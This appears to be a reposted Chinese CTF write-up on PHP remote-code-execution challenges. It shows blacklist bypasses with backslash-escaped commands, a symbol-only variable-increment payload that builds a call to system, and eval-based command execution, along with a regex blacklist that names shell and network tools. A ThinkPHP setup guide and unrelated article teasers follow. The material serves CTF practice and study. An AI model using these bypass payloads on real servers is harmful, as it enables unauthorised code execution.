刷刷刷刷刷RCE

云曦歷年考核

25年春開學考

RCCCE

開啟題目進行代碼審計

GET傳參傳入一個參數cmd,但對參數內容給了黑名單進行過濾

$blacklist = '/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|"|\>|\<|\%|\$/i';

ls、cat等都被過濾了,最后還不區分大小寫

嘗試過兩個命令以后發現是無回顯RCE,所以嘗試用輸出文件的方式

命令

?cmd="ls -l > a";

但是別忘了短線也在黑名單里,所以只能換一個

cmd=ls / | tee a

大意就是用ls命令查詢目錄以后把查詢結果放入創建的文件a里面

然后訪問a文件

誒喲沒查詢到,說明命令沒有執行成功,檢查了一下發現ls被過濾,沒有繞過,加一個反斜杠

cmd=l\s / | tee a

這次就訪問到了

可以看到有一個flag目錄

然后利用cat命令抓取flag

因為cat和flag都被過濾,所以用? c\at? 和?? /fl\ag?? 繞過,然后輸出到b文件中

然后訪問b文件得到flag

ctfshow

RCE挑戰1

代碼審計

POST傳入一個參數code,并把 (? 和? .? 替換掉

思路就是利用echo來傳一個shell命令,用反引號輸出(反引號是和 ~ 鍵一起的英文格式)

執行命令

code=echo `ls /`;

查看到目錄

很明顯的flag目錄,直接cat

code=echo `cat /f1agaaa`;

(cat后面加 / 是cat flag的必要格式)

得到flag

RCE挑戰2

代碼解釋為不會顯示錯誤信息

然后用POST傳入參數 ctf_show??

??

然后給定一個正則表達式 匹配參數中的字符

這里eval()函數我看別人的解釋是把參數中的字符串按照PHP代碼來計算(我只記得Python里是將字符串數字化)也就是說參數里的字符串如果合法就按PHP代碼計算,如果不合法就輸出“Are you hacking me AGAIN”

可以看到正則表達式過濾的字符比較多,大小寫字母a-z,數字0-9,還有引號括號和其他特殊符號等

隔了一晚上回來發現這題是真有點意思

?可以發現,雖然正則表達式過濾了很多字符,但是 ! $ ' () + , . / ; = [] _?? 這些字符沒被過濾,

而這些字符沒被過濾的話第一就應該想到那個變量自增繞過

這個方法之前有記錄過,但不是很詳細

但大概就是利用變量自增構造出? $GET[_] ($_GET[__]);?? (注意,兩個中括號 [ ] 里的下劃線不一樣長)用于實現命令執行

比如我用POST傳參構造出$GET[_]($_GET[_]);這個格式,然后get傳參就可以用_和__替換被過濾的字符

在php中,如果$a="A",那么執行$a++后,$a的值為B

因此可以用這種方法獲取所有的字母。

那如何獲得A呢?

[]默認表示數組名為Array,[]._表示數組名Array,拼接上字符_ 取Array_的第0個位置的元素就是“A”

$_=[ ]???

echo $_

$_的取值就是Array

$_=[ ]._?

echo $_[0];

$_的取值就是A

但是別忘了這題數字0被過濾了,這里查詢到了兩種替換方法:

1、布爾表達式(用兩個沒被過濾的、不同的字符組成布爾表達式作為數組的索引)

例如 '!'=='+'??? 因為兩個字符不同(不相等)所以返回值為0。 但是這個太長了

2、用 '_' _ 作為數組的索引

那我現在的思路就是要構造出$GET[_] ($_GET[__]);?? 用于執行system('ls /');

整體思路如下:

$_=[]._;         //$_變量的值為Array_
$_=$_['_'];      //將$_賦值為$_[0],此時$_的值為A
$_++;$_++;$_++;  //$_的值依次遞增為B、C、D
$__=++$;         //++在$前,就是先把$_自增后的值賦值給$__,此時$__的值為E,$_的值也為E。但如果是$_=$++的話,$__的值就是D了,可以理解為++在前是先自增再賦值,++在后就是先賦值才自增,這個和C語言中“i++與++i”的區別是一樣的
$_++;            //$_繼續自增為F
$__=++$_.$__;    //$_自增為G,與$__的值E拼接后,再賦值給$__,此時$__的值為GE
$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;  //$_的值依次遞增為H、I、J、K、L、M、N、O、P、Q、R、S $_當前的值為S
$_=$__.++$_;     //$_自增為T并拼接到GE后面,再賦值給$_,此時$_的值為GET
$_='_'.$_;       //在GET的前面拼接一個_,此時$_的值為_GET 這里的'_'也可以是_
$$_[_]($$_[__]); //拼接出了$_GET[_]($_GET[__]),get傳參的參數名分別為_和__  而這里我想構造的_是system,__是ls /  就會在eval的括號中拼接出system('ls /');

?所以,構造出來的payload就是:
ctf_show=$_=[]._;$_=$_['_'];$_++;$_++;$_++;$__=++$_;$_++;$__=++$_.$__;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$__=$__.++$_;$_='_'.$__;$$_[_]($$_[__]);

url拼接替換_和__的執行命令?_=system&__=ls /即可

然后Excute

發現疑似flag目錄f1agaaa

然后換命令ls / 為cat /f1agaaa 即可得到flag

?

NSSCTF

【SWPUCTF 2021 新生賽】easyrce

查看源代碼

可以看到源碼使用了eval()函數接收GET傳參的url參數(上面說過,eval()函數會將字符串作為php代碼執行)

這樣就比較簡單了,只要題目沒有對我們的輸入內容進行嚴格的過濾,直接利用eval()函數執行php惡意代碼就可以達到我們的目的

比如我現在利用phpinfo();語句查看php信息

可以看到PHP配置信息,說明服務器執行了phpinfo()函數(即代碼執行函數

假如現在我再換一個系統命令執行函數(system()???? 命令:?url=system("ls -l");

可以看到列出了當前目錄下的文件和文件夾 (即上面所說系統命令執行函數

那既然解題時是為了flag而來,就應該想想怎么利用這些東西來get flag

這里說一下這兩個函數的區別:

system("ls /");

這個命令表示列出根目錄下的文件和名稱 ;

system("ls -l");

而這個命令表示的是以長格式列出當前工作目錄下的文件目錄詳細信息

然后我剛剛用的是這個命令:system("ls -l");

回顯這一串

這表示的是當前工作目錄下只有一個文件index.php,還顯示了該文件的詳細信息:total 4 -rw-rw-r-- 1 root root 109 Oct 2 2021 (不用管它啥意思,只用知道它是index.php的詳細信息)

那這樣說的話假如我換命令system("ls /l"); 也就是列出根目錄下的文件和名稱, 回顯肯定是不同的,那就執行一下看看:

可以看到回顯出的根目錄,其的確與回顯當前工作目錄文件名的命令不一樣,這說明PHP腳本的當前工作目錄不是根目錄/),而是某個特定的目錄,例如腳本所在的目錄

這樣也就提醒了我以后盡量先用找根目錄的命令(system("ls /");),這樣一層層往里剝

誒其中的flllllaaaaaaggggggg目錄明顯就是提醒flag所在,那就針對這個目錄即可

然后由于比較簡單,一 cat就出flag了(Linux的OS命令cat:顯示文件內容)

[SWPUUCTF 2022 新生賽]ez_rce

打開題目顯示啥也沒有?

查看源代碼也沒有什么

那就用kali掃一下目錄康康

進入root用戶

然后nc連一下,再ls查看一下目錄

但是發現好像并沒有什么有用的

那就嘗試用dirsearch

?額我的kali是新裝的,重新安裝一下dirsearch

apt install dirsearch

安裝結束

然后開始掃

但結果發現連接不上

又試了兩次還是連接不上

最后只好嘗試用nikto(這個是一款開源的 網站掃描 工具,用于發現Web服務器上的安全漏洞和配置錯誤,且是kali自帶的,可以直接使用),而我用這個的目的主要是掃出這個環境的ip

命令

nikto -host +url /**/環境http網址/**/

掃描

可以發現目標ip

然后把剛剛dirsearch的網址換位ip再進行一次掃描

發現這次連接成功了

目錄有很多,沒全截

但是發現有robots.txt,訪問一下

可以看到有一個index.php文件,一猜就知道肯定是代碼甚至是網站源碼文件,直接訪問

再往后沒招了,上網后得到提示,搭建ThinkPHP框架

install for all users

?不勾選

?指定PHP安裝位置

?別忘了勾選add

?然后點擊Next

?繼續Next

?然后Install

?

?Next

剩下就Next finish就可以了

然后Win+R打開cmd,輸入composer看是否安裝成功

可以看到安裝成功

然后安裝TP前切換鏡像

繼續在cmd里執行以下其中一條命令切換鏡像

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/   /**/阿里云/**/
composer config -g repo.packagist composer https://repo.huaweicloud.com/repository/php/   /**/華為云/**/

我選了第二個安裝

安裝穩定版

我是第一次安裝,所以進入文件夾根目錄下單擊右鍵到終端中打開

?

然后執行以下命令:

composer create-project topthink/think tp6

這里的tp命令可以任意更改,這個目錄就是我們后面會經常提到的應用根目錄

執行

測試運行

?還是在cmd命令行的項目目錄中,輸入運行命令:

先進入

cd tp6

然后執行

php think run

這個過程會彈出是否讓防火墻允許其訪問公共網路,允許即可

在瀏覽器輸入127.0.0.1:8000或http://localhost:8000

OK到這一步就完成了ThinkPHP6.0的安裝

如果80端口沒被占用的情況下,使用如下命令直接訪問http://localhost;

php think run -p 80

這樣ThinkPHP6.0已經幫我們將域名自動部署到public里了

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/80581.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/80581.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/80581.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

2024江西ICPC部分題解

題目列表 A - Maliang Learning PaintingC - LiarG - Multiples of 5H - ConvolutionJ - Magic MahjongK - Magic Tree A - Maliang Learning Painting 題目來源&#xff1a;A - Maliang Learning Painting 思路分析 這是個簽到題&#xff0c;直接輸出abc即可 #include<b…

Pytorch圖像數據轉為Tensor張量

PyTorch的所有模型&#xff08;nn.Module&#xff09;都只接受Tensor格式的輸入&#xff0c;所以我們在使用圖像數據集時&#xff0c;必須將圖像轉換為Tensor格式。PyTorch提供了torchvision.transforms模塊來處理圖像數據集。torchvision.transforms模塊提供了一些常用的圖像預…

為什么vllm能夠加快大模型推理速度?

vLLM加速大模型推理的核心技術原理可分解為以下關鍵創新點&#xff1a; 一、?內存管理革命&#xff1a;PagedAttention? KV Cache分頁機制? 將傳統連續存儲的KV Cache拆分為非連續內存頁&#xff0c;類似操作系統內存分頁管理&#xff0c;消除內存碎片并實現動態分配。13B…

第十一章 多態

多態是面向對象開發過程中一個非常重要的概念。 11.1 多態概述 11.1.1 什么是多態 多態&#xff08;polymorphism&#xff09;&#xff0c;從字面理解是“多種形態&#xff0c;多種形式”&#xff0c;是一種將不同的特殊行為泛化為當個特殊記號的機制。 多態從實現的角度可劃…

RNN——循環神經網絡

一.基本結構 1.目標&#xff1a;處理序列數據&#xff08;時間序列&#xff0c;文本&#xff0c;語音等&#xff09;&#xff0c;捕捉時間維度上的依賴關系 核心機制&#xff1a;通過隱藏狀態&#xff08;hidden State&#xff09;傳遞歷史信息&#xff0c;每個時間步的輸入包…

性能提升手段--池化技術

看到hadoop代碼里有ByteBufferPool,使用池子來避免頻繁創建、銷毀ByteBuffer,減輕GC壓力,提高性能。 順便總結一下池化技術 一、什么是池化技術??? ??池化(Pooling)?? 是一種資源管理策略,通過??預先創建并復用資源??(如數據庫連接、線程、內存對象等)來提…

數據安全和合規性市場分析

一、什么是數據安全和合規性 在數據安全和合規性方面&#xff0c;存在著一系列重要的法律、法規和行業標準&#xff0c;這些規定了組織如何收集、存儲、處理和保護個人數據及其他敏感信息。企業之所以要遵守這些規定&#xff0c;是出于多方面的考量&#xff0c;既有法律責任&a…

【每日八股】復習計算機網絡 Day4:TCP 協議的其他相關問題

文章目錄 昨日內容復習已經建立了 TCP 連接&#xff0c;客戶端突然出現故障怎么辦&#xff1f;什么時候用長連接&#xff1f;短連接&#xff1f;TCP 的半連接隊列與全連接隊列&#xff1f;什么是 SYN 攻擊&#xff1f;如何避免&#xff1f;TIME_WAIT 的作用&#xff1f;過多如何…

React:<></>的存在是為了什么

1. <></> 是什么&#xff1f; <></> 是 React 的Fragment&#xff08;片段&#xff09;語法糖&#xff0c;等價于 <React.Fragment></React.Fragment>。 2. 它的作用 主要作用&#xff1a; 允許你在組件里返回多個元素&#xff0c;而不需…

cron定時任務

cron定時任務 一、Cron表達式的定義 基礎結構 Cron表達式是由空格分隔的6或7個字段組成的字符串&#xff0c;格式為&#xff1a; 秒 分 時 日 月 星期 [年]其中&#xff0c;年通常可以被省略 字段說明&#xff1a; 秒&#xff08;0-59&#xff09; 秒字段表示每分鐘的哪一…

分布式之易混淆概念

昨天寫UE寫的破防了&#xff0c;忘了寫文章&#xff0c;今天補一下分布式的一些概念。&#x1f61a; 在軟件架構領域&#xff0c;微服務、領域驅動設計&#xff08;DDD&#xff09;和分布式系統是三個高頻且容易被混淆的概念。許多開發者誤以為它們是“同一件事的不同說法”&a…

量子躍遷:Vue組件安全工程的基因重組與生態免疫(完全體終局篇)

開篇數字免疫系統的范式革命 在2025年某國際金融峰會期間&#xff0c;黑客組織利用量子計算技術對全球37個交易系統發起協同攻擊。傳統安全組件在2.7秒內集體失效&#xff0c;造成每秒超18億美元的交易漏洞。這場數字"切爾諾貝利"事件促使我們重新定義前端安全——組…

Operating System 實驗七 Linux文件系統實驗

實驗目標: 使用dd命令創建磁盤鏡像文件ext2.img并格式化為ext2文件系統,然后通過mount命令掛載到Linux主機文件系統。查看ext2文件系統的超級塊的信息,以及數據塊的數量、數據塊的大小、inode個數、空閑數據塊的數量等信息 在文件系統中創建文件xxxxx.txt(其中xxxxx為你的學…

模型識別能力錘煉及清單

大腦將注意力分配給需要消耗腦力的活動&#xff0c;通過學習技能&#xff0c;大腦也能更輕松的工作。這個時候&#xff0c;大腦負責管理注意力控制和努力控制的區域活動會大幅減少。沉浸式學習是學習一門新的語言的最佳方式&#xff0c;也是深入洞察錯綜復雜商業環境的絕佳途徑…

Android 混合開發實戰:統一 View 與 Compose 的淺色/深色主題方案

整個應用&#xff08;包括 View 和 Compose 部分&#xff09;的淺色/深色模式保持一致。以下是完整的解決方案&#xff1a; 全局配置方案 1. 基礎主題設置 在 res/values/themes.xml 和 res/values-night/themes.xml 中定義統一的主題&#xff1a; <!-- values/themes.x…

QT開發技術【QT實現桌面右下角消息】

一、效果 ![ 二、彈窗主體部分 noticewidget /* ** File name: NoticeWidget.h ** Author: ** Date: 2025-04-25 ** Brief: 通知欄控件 ** Copyright (C) 1392019713qq.com All rights reserved. */#include "../Include/NoticeWidget.h"…

在LiveGBS GB28181互聯網安防監控平臺中關于redis版本切換的方法說明

目錄 1、Redis服務2、如何切換REDIS? 2.1、停止啟動REDIS2.2、配置信令服務2.3、配置流媒體服務2.4、啟動3、搭建GB28181視頻直播平臺 1、Redis服務 在LivGBS中Redis作為數據交換、數據訂閱、數據發布的高速緩存服務。默認LiveCMS解壓目錄下會攜帶一個REDIS服務。如果已經有自…

vue3中的effectScope有什么作用,如何使用?如何自動清理

vue3中的effectScope有什么作用&#xff0c;如何使用?如何自動清理 vue3中的effectScope有什么作用&#xff0c;如何使用 官網介紹&#xff1a;作用特點簡單示例&#xff1a;自動清理示例 官網介紹&#xff1a; 創建一個 effect 作用域&#xff0c;可以捕獲其中所創建的響應…

搭建基于火災風險預測與防范的消防安全科普小程序

基于微信小程序的消防安全科普互動平臺的設計與實現&#xff0c;是關于微信小程序的&#xff0c;知識課程學習&#xff0c;包括學習后答題。 技術棧主要采用微信小程序云開發&#xff0c;有下面的模塊&#xff1a; 1.課程學習模塊 2.資訊模塊 3.答題模塊 4.我的模塊 還需…

python 與Redis操作整理

以下是使用 Python 操作 Redis 的完整整理&#xff0c;涵蓋基礎操作、高級功能及最佳實踐&#xff1a; 1. 安裝與連接 (1) 安裝庫 pip install redis(2) 基礎連接 import redis# 創建連接池&#xff08;推薦復用連接&#xff09; pool redis.ConnectionPool(hostlocalhost, …